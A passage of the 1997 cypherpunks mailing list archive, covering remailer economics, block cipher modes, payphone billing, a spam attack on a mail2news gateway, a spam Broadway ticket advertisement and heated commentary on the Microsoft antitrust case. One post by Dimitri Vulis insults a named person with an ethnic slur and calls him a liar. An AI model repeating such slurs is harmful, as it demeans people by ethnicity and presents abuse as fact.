]>In-Reply-To: <3279b6dd.124287235 at mail.c2.net> from "netscum at c2.net" at "Oct
]> 24, 96 00:26:22 am"
]>X-Mailer: ELM [version 2.4ME+ PL22 (25)]
]>MIME-Version: 1.0
]>Content-Type: text/plain; charset=3DUS-ASCII
]>Content-Transfer-Encoding: 7bit
]>
]>	I'm sorry. If you don't remove the illegal web pages we're
]>going to be forced to shut off your account.
]>
]>> Dear Sameer,
]>>
]>> What was reported to you was mistaken.  The referenced page contains no
]>> libel, and all the claims therein are factually correct and can be proved
]>> easily by browing public documents in DejaNews and AltaVista.
]>>
]>> Good luck in your SPA lawsuit!!
]>>
]>>
]>> On Wed, 23 Oct 1996 12:41:53 -0700 (PDT), sameer  posted:
]>>
]>> >  	The URL in the subject (http://www.c2.net/~netscum/mayt0.html)
]>> >  was reported to us as illegal libel. Please note that our policies
]>> >  forbid any illegal activity on the site. Please remove this page as
]>> >  soon as possible. Thank you.
]>> >
]>> >  --
]>> >  Sameer Parekh					Voice:
]>> 510-986-8770
]>> >  C2Net						FAX:
]>> 510-986-8777
]>> >  The Internet Privacy Provider
]>> >  http://www.c2.net/				sameer at c2.net
]>> >
]>>
]>
]>
]>--
]>Sameer Parekh					Voice:   510-986-8770
]>C2Net						FAX:     510-986-8777
]>The Internet Privacy Provider
]>http://www.c2.net/				sameer at c2.net

Note that Parekh pulled netscum's plug in October, 1996, because he didn't
like the contents of a web page critical of Timmy C. May,

If you review the Cyperpunks archives from that time, you will see that
Parekh was being sued by the Software Publishers Association, was whining all
over the mailing list and asking for "petitions" in his defense, and was
claiming that he exercises no control over the content on C2net.

Is that proof enough for you that the smelly Arab is a pathological liar?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From pooh at efga.org  Sat Dec 20 22:19:45 1997
From: pooh at efga.org (Robert A. Costner)
Date: Sun, 21 Dec 1997 14:19:45 +0800
Subject: Hate speech and censorship
In-Reply-To: <199712200621.HAA13824@basement.replay.com>
Message-ID: <3.0.3.32.19971221010751.0365d2c0@mail.atl.bellsouth.net>



At 10:58 AM 12/20/97 EST, Dr.Dimitri Vulis KOTM wrote:
>I also wouldn't trust Lance Cottrell.  He's selling privacy for the $$, not
>for the ideology; he'll bend over the moment he thinks there's more $$ in
>bending over, which is usually the case.

It's nice to give away privacy for free.  Free turkey dinners at
Thanksgiving are nice as well.  But someone has to foot the bill.  Perhaps
with a Thanksgiving dinner everyone thanks you.  Of the many remailer
related phone calls I received, none of them had a "thank you" in them.
More of the "I'm calling the police, FBI, my lawyer, my friends, the Better
Business Bureau, the Attorney General, a higher up, and the SPA.  blah,
blah, blah..."

It costs money to run a remailer.  When we recently asked for $2,000 in
donations to improve the Cracker remailer, we received about $800 over two
month period.  Just as there are free ISPs, and public access ISPs like
Seattle Community Network and Virtually Wired, there are free remailers.
But this is not the business model most ISPs enjoy.  Perhaps Lance Cottrell
has come across the proper business model for running a remailer.  Have the
users pay for it.

The Cracker remailer operates mainly off of money I pulled out of my
pocket.  And I'm not really a user, or the person who runs it.  We had some
donations of course, and we've had other inkind donations, like free legal
services.  I'm still waiting to see a lawsuit on Cracker, or the police to
show up with a warrant.

I think it's great that Lance Cottrell has people pay to use his remailer.
I wish another fifty companies would spring up and do the same.  Doing it
for ideology is nice, but the phone company, nor the backbone companies, or
others really seem to like payments in ideology.  They seem to want a
legible signature on a check.


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh at efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key






From frantz at netcom.com  Sat Dec 20 23:28:21 1997
From: frantz at netcom.com (Bill Frantz)
Date: Sun, 21 Dec 1997 15:28:21 +0800
Subject: ECB, CBC, CFB, OFB
In-Reply-To: 
Message-ID: 



At 5:46 PM -0800 12/20/97, Johnson, Michael P (Mike) wrote:
>>Somebody asked:
>>>Can somebody more experienced than I am explain the strengths and weaknesses
>>>of these encryption modes as applied to CAST, IDEA, DES, and Blowfish?
>>
>>>              ecb    Electronic codebook mode
>>>                     c[i] = f1(K, p[i])
>>>                     p[i] = f2(K, c[i])
>
>This is the weakest mode. Patterns in the plain text tend to cause
>repeated blocks in the output, causing some information leakage. This
>mode is really only suitable if you have exactly one block or less to
>encrypt or if random access at the block level is critical. An error in
>the ciphertext or plaintext only affects one block, as long as bit count
>integrity is maintained.

It should be point out that ECB is also subject to some spoofing attacks.
Blocks from one message encoded with a particular key can be substituted
for blocks in a different message encoded with the same key.  In a banking
system, this attack might allow the attacker to change the transaction
amounts.

With any mode, encypherment is not a substitute for a message
authentication code.


-------------------------------------------------------------------------
Bill Frantz       | One party wants to control | Periwinkle -- Consulting
(408)356-8506     | what you do in the bedroom,| 16345 Englewood Ave.
frantz at netcom.com | the other in the boardroom.| Los Gatos, CA 95032, USA







From jito at eccosys.com  Sat Dec 20 23:36:42 1997
From: jito at eccosys.com (Joichi Ito)
Date: Sun, 21 Dec 1997 15:36:42 +0800
Subject: Is Anonymous Communication only for "Criminals"? (was: Re: UCENET II and Peter duh Silva)
In-Reply-To: <19971220162410.14018@die.com>
Message-ID: <199712210732.QAA12422@eccosys.com>



At 10:36 97/12/20 -0500, Rabid Wombat wrote:

> More like simple economics; after the breakup, a lot of pay phones were 
> operated by companies specializing in this type of service. Pay phones 
> are high maintenance, and their operators can only turn a profit by 
> charging very high rates; if you make a quick call and ask the other 
> party to call you back at the pay phone, the pay phone operator doesn't 
> make much money.
> 
> Can you site any legislation barring pay phones from receiving calls? I'd 
> think that most pay phone operators would be glad to deny incomming calls 
> if they were allowed to (as they often are), and wouldn't need to be forced.

Can't a pay phone operator get paid a portion of incoming calls as well?
If they can set outgoing rates to be very high, couldn't they set their
incoming rates as well? (This is not an opinion, but a question.)
I do know that depending on the arrangement, phone companies either
carry all incoming call for free or cross bill incoming minutes to each other.

 - Joi

--
PGP Key: http://pgp.ai.mit.edu:11371/pks/lookup?op=get&search=0x2D9461F1
PGP Fingerprint: 58F3 CA9A EFB8 EB9D DF18  6B16 E48D AF2A 2D94 61F1
Home Page: http://domino.garage.co.jp/jito/joihome.nsf
To subscribe to my personal mailing list send mailto:friends-subscribe at ji.to




From whgiii at invweb.net  Sun Dec 21 01:15:36 1997
From: whgiii at invweb.net (William H. Geiger III)
Date: Sun, 21 Dec 1997 17:15:36 +0800
Subject: Is Anonymous Communication only for "Criminals"? (was: Re: UCENET II and Peter duh Silva)
In-Reply-To: <199712210732.QAA12422@eccosys.com>
Message-ID: <199712210911.EAA21585@users.invweb.net>



-----BEGIN PGP SIGNED MESSAGE-----

In <199712210732.QAA12422 at eccosys.com>, on 12/21/97 
   at 04:32 PM, Joichi Ito  said:

>At 10:36 97/12/20 -0500, Rabid Wombat wrote:

>> More like simple economics; after the breakup, a lot of pay phones were 
>> operated by companies specializing in this type of service. Pay phones 
>> are high maintenance, and their operators can only turn a profit by 
>> charging very high rates; if you make a quick call and ask the other 
>> party to call you back at the pay phone, the pay phone operator doesn't 
>> make much money.
>> 
>> Can you site any legislation barring pay phones from receiving calls? I'd 
>> think that most pay phone operators would be glad to deny incomming calls 
>> if they were allowed to (as they often are), and wouldn't need to be forced.

>Can't a pay phone operator get paid a portion of incoming calls as well?
>If they can set outgoing rates to be very high, couldn't they set their
>incoming rates as well? (This is not an opinion, but a question.) I do
>know that depending on the arrangement, phone companies either carry all
>incoming call for free or cross bill incoming minutes to each other.

Currently I believe that pay phones are treated like any other phone
number for incoming calls and billing to the customer (what money exchanes
hands between telco's is another thing). While it would be possible for
the telco to charge an inflated rate for calls to a pay phone some
mechanism would need to be in place to inform the caller that it was a
toll call (all payphones had a 999 area code as an example).

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNJzc/I9Co1n+aLhhAQJe7wQAhe/7licgPy91jlV1JQ1XzDgExE/YNdNX
w07MD4DVS8KIpFfWIo702MXOe9TwfAC9j9SikPhycngIwrFTtv96lG+2xzvUjpTb
ZIUICp3+2O2NE4WljkgK1p6KquHth9uWa02E5qAIDdd6x8OK+sJ1EaHxaz3mD9sp
Kc56voHCuwo=
=0iax
-----END PGP SIGNATURE-----






From jito at eccosys.com  Sun Dec 21 03:15:32 1997
From: jito at eccosys.com (Joichi Ito)
Date: Sun, 21 Dec 1997 19:15:32 +0800
Subject: Is Anonymous Communication only for "Criminals"? (was: Re: UCENET II and Peter duh Silva)
In-Reply-To: <199712210732.QAA12422@eccosys.com>
Message-ID: <199712211112.UAA17803@eccosys.com>



At 03:05 97/12/21 -0600, William H. Geiger III wrote:

>(what money exchanes
> hands between telco's is another thing). 

Actually, I was talking about the telco-telco billing arrangements...

- Joi

--
PGP Key: http://pgp.ai.mit.edu:11371/pks/lookup?op=get&search=0x2D9461F1
PGP Fingerprint: 58F3 CA9A EFB8 EB9D DF18  6B16 E48D AF2A 2D94 61F1
Home Page: http://domino.garage.co.jp/jito/joihome.nsf
To subscribe to my personal mailing list send mailto:friends-subscribe at ji.to




From ghio at temp0181.myriad.ml.org  Sun Dec 21 04:11:17 1997
From: ghio at temp0181.myriad.ml.org (Matthew Ghio)
Date: Sun, 21 Dec 1997 20:11:17 +0800
Subject: m2n@alpha.jpunix.com is down
In-Reply-To: 
Message-ID: <199712211207.HAA25694@myriad>



John Perry wrote:
> 	Now that I've posted that operating a mail2news gateway is a
> minimal effort, the m2n at jpunix.com has been under a steady spam attack
> for the past 72 hours. I fought it all day yesterday and came in this
> morning to find that the spammer had just moved to a different ISP and
> started spamming again.

Yep, I am getting it now too, relayed thru pilot17.cl.msu.edu [35.9.5.27]
which I am now refusing SMTP connections from.  He spammed nym.alias.net
also.  What an asshole.






From 77311018 at 06232.com  Sun Dec 21 20:59:03 1997
From: 77311018 at 06232.com (77311018 at 06232.com)
Date: Sun, 21 Dec 1997 20:59:03 -0800 (PST)
Subject: Your Broadway Code
Message-ID: <8998749058.TTR886772@bellsouth.net>



----------------------------------------------------------------------------

 This message contains a ticket purchase code which offers you
 substantial savings on a Broadway show for a limited period.
 If you would prefer not to receive mail on this subject
 please reply to progress at drlr.com with the word REMOVE 
 in the subject header field.  
 ---------------------------------------------------------------------------


Dear Mogul...

Why buy tickets to THE LIFE?, Cy Coleman's 
brilliantly evocative new musical?

BECAUSE:

1. THE LIFE won a truck-load of BEST MUSICAL awards.

2  The women in the cast are universally regarded as
the most dazzling and talented on Broadway.

3.  There's Friendship, Love, Betrayal, Heartache, Greed, 
and Sacrifice... And that's only in the first 20 minutes.

4.  Vincent Canby (New York Times) said the show was
"the best musical of the season."
(And he knows what he's talking about.)

5.  Newsweek Magazine said the musical 
was a "masterpiece."
(And they know what they're talking about.)

6.  Joey McKneely's choreography smolders
in its own sensuality.

7.  Lillias White blows the roof off the theatre
TWICE in Act I.
(That's why they gave her the Tony Award.)

8.  In-Theatre Magazine says that "Chuck Cooper is
so intimidating as the pimp, Memphis, that even tough
guys in the audience have been known to recoil in fear."
(And that's why they gave him the Tony Award.)

9.  At the end... the audience stands up, goes nuts,
and generally carries on like it's never seen a musical.
(One guy stood on his chair one night and tried to
recreate the choreography.)

10.  There are DISCOUNT TICKETS January 5th
through February 12th.

ORDER BY PHONE:  Call TELE-CHARGE at
(212) 947-8844 (8 AM - Midnight) or
outside Metro New York call (800) 432-7250.
MENTION THE CODE: "TLDM".



THE LIFE.
At the Barrymore Theatre.
The best show on Broadway.

Bye.

All Seats: $50 (Orch. and Front Mezz.)
All Seats: $40 (Rear Mezz.)
Offer good for Monday through Thursday shows at 8 PM,
January 5th through February 12th, 1998.
Tickets must be ordered by January 11th, 1998.







From dlv at bwalk.dm.com  Sun Dec 21 07:31:07 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 21 Dec 1997 23:31:07 +0800
Subject: Is Anonymous Communication only for "Criminals"? (was: Re: UCENET II and Pet
In-Reply-To: 
Message-ID: 



Rabid Wombat  writes:

> > 	War on (some) Drugs...  they don't want to, they have been asked to...
> >
> > 	Most payphones can no longer receive calls because of this as
> > well, and there are far fewer of them around in certain areas than there
> > used to be ...
>
> More like simple economics; after the breakup, a lot of pay phones were
> operated by companies specializing in this type of service. Pay phones
> are high maintenance, and their operators can only turn a profit by
> charging very high rates; if you make a quick call and ask the other
> party to call you back at the pay phone, the pay phone operator doesn't
> make much money.

That's a very accurate analysis, and that's precisely what's been happening
in NYC, where a lot of pay phones are owned by small businesses now. They
also want to either block the 800 numbers, or charge for calling them
from their pay phone.

Of course they'd feel differently if there was some way to pay for receiving
calls there... :-)

> Can you site any legislation barring pay phones from receiving calls? I'd
> think that most pay phone operators would be glad to deny incomming calls
> if they were allowed to (as they often are), and wouldn't need to be forced.

This is a comp.telcom question, but to the best of my knowledge, no, and
it has little to do with the war on (some) drugs.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From attila at hun.org  Sun Dec 21 09:19:46 1997
From: attila at hun.org (Attila T. Hun)
Date: Mon, 22 Dec 1997 01:19:46 +0800
Subject: Making them eat their words... (while they watch!)
In-Reply-To: <3.0.3.32.19971219170957.0300f6f0@earthlink.net>
Message-ID: <19971220.051132.attila@hun.org>



-----BEGIN PGP SIGNED MESSAGE-----

> WASHINGTON (Reuters) - A federal judge Friday told Microsoft
> Corp.  he easily uninstalled the company's Web browser
> without breaking Windows 95 and ordered company officials to
> explain why they could not do the same.  "Windows 95
> functioned flawlessly" with Internet Explorer uninstalled,
> U.S.  District Judge Thomas Penfield Jackson told Microsoft.
>
    mistake #1: dont piss off a federal judge --let alone 
    try to show that he is ignorant.
 
> After the hearing, Brad Smith, associate general counsel of
> Microsoft, was asked about news reports speculating that the
> company might settle the case.
> 
> "There's no discussion that I'm aware of," he said in a
> telephone interview, adding that he probably would know
> about such discussions.  "The case is continuing."
> 
    this is my one big fear: the DOJ will accept a plea
    bargain like they did last time and it will be back
    to business as usual for M$ --and they will be back in
    court within a year having gained even more horizontal
    and vertical control of the entire communications
    and information industries --and claiming again that
    they are misunderstood --and complying with the order, 
    etc.

    there is only one solution to organizations like M$ 
    which are operated without ethics: treat them to the
    pleasures of not only the antitrust laws but the 
    exquisite delights of RICO.

    M$ is a cancer; it has fully metasticized and is gorging   
    itself at the banquet of the vanquished.

    if the legal juggernaut keeps building momentum at the 
    current rate, there will hopefully be no alternative to
    carry the investigation to its culmination after the
    report of the special master in May. 

    the appointment of the special master was a clear 
    indication that the judge wishes to get at the bottom
    of the tank and examine the underpinnings and 
    motivations of M$ total modus operandi --yes, and M$ is
    crying foul that the judge is going past the original 
    complaint of the DOJ --but, despite M$' claims, the
    judge is giving M$ time to be heard --six months.

    seems to me Jackson inherited the case from Royce 
    Lamberth who was overruled and removed by the appeal 
    court when he refused to OK the DOJ settlement in 
    question. Gary Reback had a hand in educating Lambert
    to the dangers of M$.  Is Reback representing anyone 
    in the case before Jackson as an intervener or in an 
    amicus curiae brief?

    Lambert's at it again --taking the government head on
    over Hillary's obfuscation over her health care
    committee--

        "The White House and lawyers defending first lady 
        Hillary Rodham Clinton lied in an effort to keep
        internal working papers used to develop President
        Clinton's universal health care plan in 1993 secret,
        a federal judge said Thursday.

        "Using blunt language in a written order, U.S. 
        District Judge Royce C. Lamberth also accused
        administration officials at "the highest levels of
        government" of engaging in a "cover-up" and
        pressuring the Justice Department to defend its 
        "dishonest" actions."
 
    anyway, just think where M$ would be with Royce today!
    Gate$ and Ballmer might be down at the local MCC for a
    few free 3 hots and a cot, all expenses paid, "enjoying"
    a well earned vacation from screwing all of us.

    Other than the usual ills of a monopoly, what really 
    irks anyone with a modicum of intelligence is that Gate$    
    intends to migrate the entire package for the benefit of
    the couch potatoes; Gate$ intends to dictate not only
    what we use to view his trash, but that only his trash
    is splashed.

> Smith also said that the uninstall mechanism described by
> the judge actually left 97 percent of Internet Explorer
> intact, removing little more than the "icon" on the screen
> known as the "desktop." 
>
    so? M$ can fill any hard disk --the more powerful the
    computer, the more energy the pretty program loader on
    a boot sector virus base requires. what's a few spare
    bytes here and there?  So, Mr. Smith, just tell us what
    files are useless and we'll delete them too.

> He said that despite what Jackson said about the program
> functioning flawlessly, the removal breaks a couple of
> functions in Windows 95, such as the ability to easily
> download other Web browsers.  Smith said Windows 95 is a
> technologicially complex product that is best left alone
> by the government.  "You simply can't slice and dice it
> with a legal meat cleaver," Smith said.
> 
    well, maybe we can just "slice and dice it" right out 
    the market place. his arguments are pure mumbo jumbo for
    the unwashed --or, more of Gate$' usual arrogance.

 > 
    well, of course, you can not pull a web download if you
    remove the browser...  but you can get it with ftp, 
    rz, or standard mail via your ISP (if Netscape wants to
    make it available that way).  more blowing of smoke as
    usual. M$ would like us to believe that removing
    Explorer means that PPP, etc. plus basic net utilities
    must be removed as well. the browser is not the only
    program that uses the PPP or wired connection.

    whether or not the judge just removed the icon or not
    becomes irrelevant rather quickly...  the point is that
    he took the trouble to look at the issue after the DOJ
    came in complaining that M$ was giving him the freeway
    salute (both hands off the wheel, too). 

    Secondly, a judge is not prohibited from reading news
    analysis of the technical issues involved --particularly
    since the news articles are reflecting the complaints of
    the competition which has been injured by M$' actions,
    and the user groups who are complaining about all of M$'
    competition being literally expunged from the
    marketplace by M$' predatory actions. all of the news
    material is clearly relevant in an antitrust action.
    Even the NYTimes stated in an editorial M$ was defying
    the judges order and mocking the whole process.

> The Justice Department, however, is beefing up its legal
> team.  It has retained David Boies, a highly regarded New
> York lawyer, to help try the case against Microsoft.
> 
    yes, I would say they are serious, and paying close to 
    $300 per hour for his time --but only half his usual 
    rate.

    keep in mind that his fee is just the tip of the iceberg
    --consider the enormous staff the man will require just
    to paw through and analyze the mountains of information
    on both sides plus the obvious tactic of burying the 
    case in even more mounds of paperwork from M$' legal
    flunkies, which probably number between 200 and 500 full
    blown lawyers culled from most of the prestigious firms
    in the US. then add support staff, researchers, clerks, 
    etc....

    I doubt Boies will use that many DOJ staff attorneys
    --lack of performance as the good ones leave after the
    initial intern experience for the extra bucks in private 
    firms on the other side of the table.  only the lazy and
    incompetent hang around the DOJ for a career.

> After the hearing Friday, Christine Varney, a former Federal
> Trade Commissioner now representing Netscape, was jubilant.
> "I think the judge has understood the seriousness of the
> issue," she said.
> 
    she had every reason to be jubilant --so far. even if
    the judge did not fully understand the technological
    bullshit M$ was trying to slide on by, the judge fully 
    understands that M$ was trying to blind pitch him --and
    insulting him to boot.

    M$' freeway saluting of the judge may have changed the
    destiny of M$ by that very action. Gate$ pulled his
    usual arrogance out of his ass and slapped it on the
    table presuming everybody knew he was the smartest kid
    on the block --and his shit did not stink.

> Microsoft stock closed at $128.69, down $2.19 on NASDAQ,
> where it was among the most active issues.
> 
    yes, down almost 20 points since their fiasco with the  
    DOJ started. before it's over, I hope to see M$ listed
    with the junk bonds and issues --in the penny stocks.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQBVAwUBNJt2FbR8UA6T6u61AQHtVAH/ZuVzmKu+we/vRObBClOVAtqYmLPQmykh
9CzsID7+HETw6/2bkYCL5JXNy12JoyenB19XvYai6WtMt24dCLh0fQ==
=sf18
-----END PGP SIGNATURE-----








From attila at hun.org  Sun Dec 21 09:21:44 1997
From: attila at hun.org (Attila T. Hun)
Date: Mon, 22 Dec 1997 01:21:44 +0800
Subject: Hee Haw! DOJ hires big bad dog for M$ kill!
Message-ID: <19971219.165411.attila@hun.org>



-----BEGIN PGP SIGNED MESSAGE-----

    Hee Haw! DOJ hires big bad dog for M$ kill!

    http://www.zdnet.com/zdnn/content/reut/1219/265045.html

        "The Justice Department has hired New York superlawyer 
        David Boies to help the government win its antitrust 
        case against Microsoft Corp, 

        "...the government's decision to hire Boies signaled its
        determination to win its case...."

            Reuters December 19, 1997 7:30 AM PS

    Sic 'Em. Rover!

    now that is fair use! [double your bubble, too]


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQBVAwUBNJqmwLR8UA6T6u61AQFPPAH9GQO2WadcPR+QHS2AQew0jzfM+qBbNG22
B94sIsMfoptfKoiGNavXKT6C9vIe6p499SWtTxz1FggydiKZBwS7tg==
=8Mmz
-----END PGP SIGNATURE-----






From attila at hun.org  Sun Dec 21 09:21:44 1997
From: attila at hun.org (Attila T. Hun)
Date: Mon, 22 Dec 1997 01:21:44 +0800
Subject: fuckin' M$ blowing smoke blown
Message-ID: <19971219.164101.attila@hun.org>



    this is more than fair use, but worth the read --and I am too lazy
    and short of time this morning to condense it.

-----BEGIN PGP SIGNED MESSAGE-----

>>> fuckin' M$ blowing smoke blown

Microsoft claim debunked!  
By Michael Caton 
December 18, 1997 5:54 PM PST 
PC Week Online

When Ronald Reagan's facts were in contradiction with
reality, he would later claim that he "misspoke."  Microsoft
Corp.  misspoke this week when it asserted that Internet
Explorer cannot be removed from Windows 95.

In a letter to the U.S.  Department of Justice and in press
releases issued this week, Microsoft officials said IE 3.0
is an integrated component of the Windows 95 operating
system, as shipped in OSR (OEM Service Release) version 2.
They further asserted that the removal of certain IE DLLs
from OSR 2 would render the operating system unbootable.

PC Week Labs' tests have shown that this is not the case.

Using copies of OSR 2 CDs provided with OEM PCs, we merely
modified four lines in one of the Windows 95 setup files to
prevent IE 3.0 from installing.  This modification had no
impact on the operating system's capabilities or
performance.  Instead of the install script overwriting
Windows 95 DLLs with files from IE 3.0, the original Windows
95 DLLs remained intact.

Moreover, significant OSR 2 features, like the FAT32 file
system, remained intact using our modified install program.

Microsoft would likely disagree, but our experience with
Windows 95 and recent tests of Windows 98 show that the
operating systems are much better suited for corporate
deployment without the browser.

Removing IE 4.0 from Windows 98 in particular eliminates the
very features that will incur the most costs in a corporate
setting:  Active Desktop, channels and the Web-based Windows
System Update.

The Active Desktop user interface, for example, differs
significantly from Windows 95 and will require considerable
user retraining.  If Microsoft prevails and includes IE 4.0
with the shipping version of Windows 98, it is easy enough
to disable Active Desktop using either administration tools
or by modifying the user interface directly.  The end result
will be the same user interface as Windows 95.

With their current focus on entertainment, the channels
feature afforded by IE 4.0 in Windows 98 likewise is not
ready for corporate prime time.

System Update--which uses ActiveX controls to scan a Windows
98 system to determine if it has out-of-date software and
drivers-is compelling in consumer applications but will be a
poor match in a corporate setting.  A better solution than
users upgrading their own systems when they see fit would be
to push the updates to all applicable clients at once, so
that software versions are consistent across large numbers
of clients.


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQBVAwUBNJqjhbR8UA6T6u61AQEGPgH/Wljd7RZBMqeq0PjdHJSHKvh5EHb3a/JI
7m41g58jHJTDh0N3HW3sFUqXfPaj4zxabdVXNXE8adcm6AwRxCAJig==
=qg6e
-----END PGP SIGNATURE-----






From attila at hun.org  Sun Dec 21 09:31:57 1997
From: attila at hun.org (Attila T. Hun)
Date: Mon, 22 Dec 1997 01:31:57 +0800
Subject: true in the near term: "Why M$ has won" (I@week)
Message-ID: <19971217.143950.attila@hun.org>



-----BEGIN PGP SIGNED MESSAGE-----

>>> this echos my feelings on what actions Gates will take
    in the near term. frankly, the sooner he does it, the
    better off we will be --this needs to be done before
    the special master makes his recommendations in May and
    Gate$' actions will hopefully incense enough people that
    they will ask for his head on a platter. --the issue in
    my mind is that the wheels of justice turn too slowly.

Why Bill Gates won
By Tom Steinert-Threlkeld
December 12, 1997 5:11 PM PST
Inter at ctive Week Online

Netscape Communications Corp.'s stock finished up 6 percent
Friday and Microsoft Corp.'s fell 1.7 percent.

While still early in the game, it may be that Netscape's
shareholders are applauding U.S.  District Court Judge
Thomas Penfield Jackson too soon.  In the meantime,
Microsoft's owners may be the ones that should be shaking
his hand.

Best as these eyes can tell, nothing in the 19-page ruling
issued late Thursday says Microsoft can't bundle its
Internet Explorer browser with its Windows operating system.
Nor does anything in the ruling say Microsoft can't
integrate its browser into its operating system.

Instead, it says it can't use licensing tactics to achieve a
dominance in browsers.

"Whether or not the government has correctly defined
Microsoft's intentions, the probability that Microsoft will
not only continue to reinforce its operating system monopoly
by its licensing practices, but might also acquire yet
another monopoly in the Internet browser market, is simply
too great to tolerate indefinitely until the issue is
finally resolved."

So, it can't coerce computer makers to license the IE
browser as a condition of licensing the Windows operating
system, forcing them to install both onto the machines they
sell to the public.

If "licensing practices'' turns out to be the crux of all
this, big deal.  That simply gives Jim Barksdale and his
jubilant troops a few months in which to try and work new
deals with computer makers before Microsoft gets really
aggressive.

After all, what Judge Jackson has done is given Microsoft a
better view of the playing field before it.  It clearly will
not be able to argue effectively that a product that it also
sells as a stand-alone product to PC users can be considered
an "integral element'' of the machine's operating system.
Duh.

So, now, if you're in Bill Gates' typically ultra-aggressive
shoes, does this slow you down?  No, it could speed you up.
You simply come out with your fully integrated operating
system, where the features of the browser are built-in
essentials.  You dissipate demand for the browser as a
separate product.

Of course, this puts, as SoftLetter publisher Jeffrey Tarter
puts it, "tremendous pressure on them [Microsoft] to
integrate the products fully, so there's no question that IE
is not a separate product.''

But, if you're Mr.  Bill with a 90 percent share of the
desktop operating system market, isn't that the goal anyway?

As soon as you release Windows 98, you simply stop selling
IE as an independent product.  Cede, for a while anyway, the
Unix and Mac markets to Netscape.  And then see whether the
market does marginalize the market for an independent
product called a browser - where there already are no
margins today.

Then, to keep up with Netscape's "high-performance'' browser
(which you start to call a "utility"), you simply update
your operating system more often.  Windows June, perhaps?

Microsoft simply achieves, over a longer period of time, the
dominance it sought anyway.  Only the clock starts ticking
sooner than if it had left IE as an independent product.
Computer makers are not going to stop providing their
customers with an operating system.

The Department of Justice and Microsoft's Silicon Valley
opponents, of course, will try to push the point that
browsers must stay separate.  But it's unclear how strong
the legal lineage is behind the idea that once a product is
an independent product, it always must stay an independent
product.

If you're Bill Gates, do you sit back and wait to see how
this issue resolves itself in court?  Or do you push down
the pedal in the marketplace.

You'd have to believe he's shown his inclination many times
in the past.  And his shareholders count themselves the
beneficiaries.


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQBVAwUBNJfkD7R8UA6T6u61AQFTTAH9Fh/Mp/QluofgTSebYMRTz+t5eie3KEu6
3xM7nC7SPAUZPA0z4mlrWkdnKm+IPwRGqWbCDo/cAO0bnFipdDFr6Q==
=0Xyp
-----END PGP SIGNATURE-----






From schneier at counterpane.com  Sun Dec 21 09:41:28 1997
From: schneier at counterpane.com (Bruce Schneier)
Date: Mon, 22 Dec 1997 01:41:28 +0800
Subject: ECB, CBC, CFB, OFB
In-Reply-To: <199712202235.XAA24669@basement.replay.com>
Message-ID: 



At 4:35 PM -0600 12/20/97, Anonymous wrote:
>Can somebody more experienced than I am explain the strengths and weaknesses
>of these encryption modes as applied to CAST, IDEA, DES, and Blowfish?
>
>>       -m mode
>>              Set the transfer mode.
>>
>>              Valid ENCRYPTION modes are:
>>
>>              ecb    Electronic codebook mode
>>                     c[i] = f1(K, p[i])
>>                     p[i] = f2(K, c[i])
>>
>>              cbc    Ciphertext block chaining mode
>>                     c[i] = f1(K, p[i] ^ c[i-1])
>>                     p[i] = f2(K, c[i]) ^ c[i-1]
>>
>>              cfb    Ciphertext feeback mode
>>                     c[i] = f1(K, c[i-1]) ^ p[i]
>>                     p[i] = f2(K, c[i-1]) ^ c[i]
>>
>>              ofb    Output feeback mode
>>                     h[i] = f1(K, h[i-1])
>>                     c[i] = p[i] ^ h[i]
>>                     p[i] = c[i] ^ h[i]

There is a pretty good explanation of the various block cipher modes in
Applied Cryptography.

Bruce

**********************************************************************
Bruce Schneier, President, Counterpane Systems     Phone: 612-823-1098
101 E Minnehaha Parkway, Minneapolis,MN  55419       Fax: 612-823-1590
                                            http://www.counterpane.com







From attila at hun.org  Sun Dec 21 09:52:28 1997
From: attila at hun.org (Attila T. Hun)
Date: Mon, 22 Dec 1997 01:52:28 +0800
Subject: "The Right to Read" by Richard Stallman
Message-ID: <19971218.193138.attila@hun.org>



-----BEGIN PGP SIGNED MESSAGE-----

    unfortunately, Stallman's "The Right to Read" is no longer
    science fiction.  Clinton signed the revised copyright
    law, with the abridgement of fair use, punishable by
    rather draconian fines, the 16th.
    
    technically, it is quite feasible to force the use of the
    "thin client" which can contain unmodifiable firmware
    identification and authentication. add an LCD minicam to
    the CPU coded monitor and retinal identification can be
    employed.

    Dan and Lissa joined the Luna revolution when they were
    unable to read the research papers after their student
    grants expired and the thin client workstations banned
    their own writings without a captive association.

    MicroSoft refused to store their data without a government 
    license, and paper copies were banned.

    Dan and Lissa were aboard the last passenger capsule before
    the government initiated non-consenual innoculation with a 
    temperature variation powered data ID microchip under the 
    skin of your right wrist.

    notes:
   
    1.  _if_ history is written accurately (even if it is slanted
        to be Clinton correct), it will show that FDR changed the
        American government and financial management, and Clinton
        destroyed the freedom of information. inevitable, I suppose,
        since Hillary communes with Eleanor.

    2.  Microsoft actually has a proposal out to major companies
        to provide massive data farm banks...  just adding another
        chink in Billy's drive to control information --the
        ultimate aphrodisiac.

- - ---------- Forwarded message ----------
Date: Sat, 8 Feb 1997 02:41:21 -0500
From: Richard Stallman 
To: declan at well.com
Subject: Re: Feb CACM

Here is my CACM story.  It is my first published work of science fiction.


Copyright (C) 1996 Richard Stallman
